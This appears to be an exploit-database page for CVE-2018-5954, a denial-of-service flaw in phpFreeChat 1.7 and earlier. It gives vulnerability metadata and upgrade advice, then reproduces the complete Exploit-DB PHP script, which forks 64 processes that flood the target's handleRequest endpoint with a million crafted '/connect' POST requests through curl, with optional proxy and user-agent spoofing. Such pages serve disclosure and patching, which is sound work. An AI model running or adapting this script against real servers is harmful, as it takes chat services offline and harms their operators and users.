header-logo
Suggest Exploit
vendor:
phpFreeChat
by:
A. Pakbaz
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: phpFreeChat
Affected Version From: 1.7 and earlier
Affected Version To: 1.7 and earlier
Patch Exists: YES
Related CWE: CVE-2018-5954
CPE: a:phpfreechat:phpfreechat:1.7
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: None
2018

phpFreeChat 1.7 and earlier – Denial of Service

A Denial of Service vulnerability exists in phpFreeChat 1.7 and earlier. An attacker can send a specially crafted request to the vulnerable server to cause a denial of service. This vulnerability is caused due to an error in the handling of the 'cmd' parameter in the 'handleRequest' function in 'index.php', which can be exploited to cause a denial of service.

Mitigation:

Upgrade to the latest version of phpFreeChat.
Source

Exploit-DB raw data:

# Exploit Title: phpFreeChat 1.7 and earlier - Denial of Service
# Version: 1.7 and earlier
# Date: 21/01/2018
# Vendor Homepage: http://www.phpfreechat.net
# Software Link: http://www.phpfreechat.net/download
# Exploit Author: A. Pakbaz
# CVE : CVE-2018-5954
####################################################
<?php
$host="http://example.com/path/index.php";	//Vulnerable Host
$con_num=64;	//Number of Connections
$proxy='';	//Proxy example http://127.0.0.1:8080
$user_agent='';	//User-Agent
$proxy=$proxy!='' ? "-x " . $proxy : '';
$user_agent=$user_agent!='' ? "-A " . $user_agent : '';
echo "##Vulnerability Discovered by A. Pakbaz\n##Exploit Author: A. Pakbaz\n";
echo "##Contact: \x70\x61\x6b\x62\x61\x7a\x40\x70\x72\x6f\x74\x6f\x6e\x6d\x61\x69\x6c\x2e\x63\x6f\x6d\n";
echo "##PGP key: \x45\x33\x35\x35\x35\x32\x34\x43\x34\x44\x37\x45\x31\x36\x43\x38\x46\x38\x34\x38\x35\x41\x36\x46\x35\x31\x32\x39\x30\x34\x46\x35\x45\x44\x42\x45\x33\x43\x41\x41\n";
function runf($id){
global $con_num;
global $host;
global $proxy;
global $user_agent;
$i=$id*1000000/$con_num;
$f=($id+1)*1000000/$con_num;
for($num=$i; $num<$f; $num++){
	`curl --url '$host' -X POST -d "pfc_ajax=1&f=handleRequest&cmd=%2Fconnect%20a95806d727683c9c42694214fe"$num"%200%20%22"$num"%22" -N --stderr /dev/null --compressed $proxy $user_agent`;
	echo ".";	
	}		
}
function fmaker($pno){
global $con_num;
if($pno>1){
	$pid=pcntl_fork();
	if($pid<0){
		echo "\nError! Reduce the number of connections\n";
		}
	elseif($pid)
		fmaker($pno-1);
	else
		runf($con_num-$pno);
}
elseif($pno==1)
	runf($con_num-1);
}
fmaker($con_num);
?>